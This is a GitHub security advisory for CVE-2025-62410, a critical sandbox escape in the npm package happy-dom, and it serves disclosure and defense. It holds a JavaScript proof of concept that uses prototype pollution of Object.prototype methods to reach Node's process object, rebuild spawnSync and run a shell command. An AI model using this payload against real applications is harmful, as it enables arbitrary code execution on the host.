GitHub Advisoryadvisory · npm

GHSA-qpm2-6cq5-7pq5 happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript

CRITICAL Published 2025-10-15 Modified 2025-11-27 Official page ↗
Aliases
CVE-2025-62410
Ecosystem
npm
Packages
happy-dom
Severity
Critical
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Weaknesses
CWE-1321
Reviewed
2025-10-15

Affected packages

• npm happy-dom: >= 19.0.0, < 20.0.2 → fixed in 20.0.2

Description

Summary The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads. Details The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf). PoC Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn(). ```js import { Browser } from "happy-dom"; const browser = new Browser({settings: {enableJavaScriptEvaluation: true}}); const page = browser.newPage({console: true}); page.url = 'https://example.com'; let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";} this.constructor.constructor.__proto__.__proto__.toString = f; this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f; // Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf Hello world!`; await browser.close(); console.log(`The process object is ${process}`); console.log(process.hasOwnProperty('spawn')); ``` Impact Arbitrary code execution via breaking out of the Node.js' vm isolation. Recommended Immediate Actions Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead. Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.

Related

Alias · CVE (1)

  • CVE-2025-62410 In versions before 20.0.2, it was found that --disallow-code-generation-from-strings is not sufficient for isolating untrusted JavaScript… vulnerability

Weakness · CWE (1)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness

References